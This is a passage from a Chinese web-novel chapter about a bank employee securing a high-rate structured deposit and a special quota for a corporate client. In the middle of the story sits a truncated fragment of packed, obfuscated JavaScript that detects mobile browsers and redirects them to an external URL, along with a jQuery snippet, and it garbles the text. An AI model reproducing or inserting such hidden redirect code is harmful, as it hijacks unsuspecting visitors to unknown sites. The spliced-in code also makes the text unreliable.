陆博笑出了声，但没有给秋水泼冷水，反而趁热打铁：“那么，秋水，看在咱们同去雍和宫的份上，这周能够陪我去趟故宫吗？” “故宫？”秋水以为自己听错了。 “故宫最近策划了一个书画大展，展品难得现世，你有兴趣吗？”陆博说完，发过去一个链接。 点开链接，秋水发现，陆博说的是网上很火的一个展览，故宫把库房里收藏多年的古画真迹摆了出来，下一次就不知道是什么时候了。 “去！”秋水欣然应允。 17. 结构性存款 可能是水逆终于结束了，秋水的工作恢复了正常。 新一天的工作日。 刚上班，还没来得及开电脑，叶允就火急火燎找了过来。 “妹妹，你终于来了！”叶允语速飞快。 “赶紧的，查一下，咱们行现在结构性存款价格多少，恒通的钱今天要进来。” 恒通转入的资金准备购买结构性存款，这是正常操作。 所谓结构性存款，并不是简单的存款，同样也不是理财。 结构性存款，是存款基础上嵌入了金融衍生工具，例如期权、期货等的一种金融产品，收益和嵌入的金融衍生品挂钩。 购买结构性存款后，到期之前，不能提前支取，也不能转让。 理论上来说，结构性存款只能保证本金，利息得随行就市，根据投资的金融衍生品价格波动决定，但是银行为了吸引客户，会根据投资的历史收益，给客户承诺一个固定的利率。 央行公布的一年定期存款利率为1.75%，而行内结构性存款的利率，近一年都在3.5%以上。 “好的，我马上查。”听见这话，秋水瞬间急了，手指飞舞登录系统，查看报价。 每天早上九点，C银行内部网站，会更新当天各种理财、存款、特殊金融工具的盈亏平衡点和推荐报价。 给客户的利率低于推荐报价，无需审批；高于推荐报价，低于成本报价，经审批后起息；若遇见特别想合作的超大型企业，利息超过盈亏平衡点，经总行批准，可亏损揽存，但这种情况，基本不存在。 “今天价格出来了，1000万以上推荐报价3.8%。”秋水兴奋地报价。 这个价格在市场上很有竞争力了。 “3.8%？”叶允摸了摸下巴，没有说话，皱眉思索。 叶允的反应出乎秋水意料，慢慢站起来，也不说话，等待叶允的思考结果。 过来好一阵，叶允好似下定了决定，不再犹豫。 “恒通在Y银行的理财价格是3.9%，咱们这个价格没有优势，最高能给他们多少利率？” 秋水诧异的望着叶允，对方表情严肃，丝毫看不出开玩笑的意味。 “盈亏平衡点是4.0%，行领导批准后，可以手工维护，调高利率，不过这个批准基本不可能通过。” “明白，这样，你马上提申请，给恒通报价3.95%，我去和行领导沟通，你先报一个亿的头寸。”叶允拍板。 “行，我现在先把头寸报了。” 既然叶允已经做好了决定，秋水能做的就是尽全力配合业务落地。 上报头寸，是资金进出的前提。 银行每天都会对第二天的进款和出款进行预测估计，从而保持资金出入的相对平衡。 为了做好这项工作，客户经理需要及时和客户沟通，及时掌握客户在自家银行资金的使用计划，并提前一天通过系统向相关部门上报头寸。 自然不是每一家公司都那么配合，现代科技高速发展，财务通过网银一键转账，操作便捷，有公司一声不吭将钱转走，直到客户经理收到系统通知才知道钱已经不在账上，也有公司突然转入一笔存款，遇见这些情况也没其他办法，只能赶紧补报头寸。 转入资金需要在上午10点前补报头寸，转出资金需要在下午4点之前补报头寸，同样，在这个时间点内，也可以取消已经上报过的头寸。 如果运气不好，超过可以补报头寸的时间，那么就只能认罚。 转入资金还好，存款收益好歹能补个亏空，转出就真只能哭了。 迅速调出头寸系统，填报，确认。 切换申请系统，新建结构性存款价格审批申请，提交。 很快，头寸上报成功，申请提交成功。 秋水长出一口气，大冬天里出了一身汗。 此时，叶允的电话也到了尾声：“孙总，那咱们可就说好了，一个亿的结构性存款，价格审批下来马上通知您转账。” “弄完了，叶哥。”待叶允结束电话，秋水立即汇报。 “好嘞，辛苦了妹妹，等这事完了，哥请你吃饭。”显然，和对方沟通很顺利，叶允又开始插科打诨。 “行啊，我就等着叶哥你的这顿饭了。”秋水一点没客气的应了。 这一天接下来的时间，秋水也没有心思做别的事情了，全心盯着价格申请的审批。 “宗总批过了。”9点50分，部门总经理同意。 “胡行批过了。”10点30分，支行分管行长同意。 “陈行批过了。”11点45分，支行行长同意。 午饭时分，支行领导审批完毕，审批提交到分行。 秋水一直惦记着这个审批，午休都没怎么睡踏实。 下午一点半，闹钟响的一瞬间，秋水睁开眼，立即拿起手机。 工作app上浮现出一个小红点，秋水眼神亮了，点开一看，果然是新的待办事项。 秋水：你提交的《关于恒通医药结构性存款价格审批》的申请已通过，请知悉。 分行领导趁着午休，将上午提交上去的申请全部审核了。 秋水特别想抱着手机亲了一口。 “审批结束了。”秋水一路小跑到睡眼惺忪的叶允面前，冲他晃了晃手机。 “漂亮！”叶允瞬间精神，随即吩咐，“秋水，我盯着恒通转账，你赶紧和行里沟通下一步。” 比了个“OK”的手势，秋水回到自己的办公位，开始下午的工作。 正常来说，客户购买结构性存款，直接通过企业网银购买即可，但是恒通的价格超过了指导价格，网银上不会显示相应产品。 这就需要秋水和产品经理沟通，针对恒通释放额度和价格，订制产品。 “亲爱的，下午好呀。”秋水戳开负责资金的产品经理头像，亲热招呼，不等对方回答，秋水接着发送。 “我要订制一个亿额度的结构性存款，价格3.95%，还有额度吗？” “这真不一定，最近结构性存款还挺热的。”回复速度很快，但并不算好消息。 保本高息的产品永远抢手，不可能无限制发行，每天总行会放出一定额度的产品给各家公司购买，若额度使用完毕，要么等第二天，要么联系总行，临时调额。 但还是那句话，临时调额难度非常大，一般的企业，基本不可能享受这种待遇。 “麻烦你啦，随时等你信。”发送一个亲吻的表情包，秋水关闭了聊天窗口。 没过多久。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648764|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“叮。”手机声连续响起。 是短信动账提醒： 您的客户恒通医药于14：15分转入人民币贰仟万元整（20,000,000.00元） 您的客户恒通医药于14：15分转入人民币叁仟万元整（30,000,000.00元） 您的客户恒通医药于14：15分转入人民币壹仟伍佰万元整（15,000,000.00元） 6500万先后到账，加上之前在账户里的3500万协定存款，目前恒通账上已经足够一个亿。 “叶哥，恒通到账6500万，现在账上共有一个亿，还进钱吗？不进的话我就联系头寸老师手工勾兑3500万了。”秋水扬声问了一句，得到肯定的回答后，立即拨出电话，接通分行，手工勾兑头寸。 刚打完电话，聊天窗口弹了出来，带来不好的消息：“亲爱的，今天没有额度了，你和客户说一下，让他们明天买吧。” ....... 唯有无语能表达秋水的心情。 拿起手机，将对话完整拍下，发给叶允。 “Cao。”没多久，就听见不远处传来咒骂声。 “怎么回事？”声音越来越近。 “就您看见的那样，没额度了。”秋水摊了摊手，无奈说道。 “不是，这都什么人啊，让客户明天存，说的容易，就没算过这一天，得少多少利息。”叶允犹自愤愤。 “再说了，他们认定恒通存在风险，需要配套存款，现在钱进来了，又不让买，这不是有毛病吗？” 分行的反馈，从他们的角度来说，毫无毛病，没有额度，就是买不了，谁让公司不趁早购买，那就只能第二天请早了。 但从叶允的角度，作为客户经理，他必须要维护好客户关系，在银行获利的基础上，保障企业的利润，实现双赢，所以分行同事轻飘飘的话，让他瞬间炸了。 “你别和恒通说，先等等。”说完，叶允走开几步，拨出电话。 这通电话说了很久，叶允的声音不大，秋水只能隐约听见几句： “我们也不是不挣钱。” “恒通资质确实不错。” “他们在我们行有一个亿贷款呢，存一个亿，也能加个保障不是吗？” “我跟你说...” 随后声音更小，只能听见含糊的语调。 “行了，赶紧和分行联系吧，我和分行行长说过了，同意替我们和总行沟通，临时调额，你盯着这事。” 过了好一会儿，秋水终于得到准信。 有了大领导出面，后续一切就非常顺利，不到4点，收到分行的消息，针对恒通临时调出的结构性存款额度已经生效，利息也已经进行调整，客户可以随时通过网银购买。 秋水立即通知王盈可以购买的消息，恒通随即开始走内部手续，在下班前，终于将一切弄妥。 恒通的事情终于告一段落了，想到让自己愁了大半个月的事情完美解决，秋水的心情特别愉快。 回到家和陆博发消息，也没抑制住散发快乐的气息。 “如果我没感觉错，你今天特别开心？”临睡前，陆博终究没忍住，试探询问。 “对呀，遇见了特别好的事情~~~”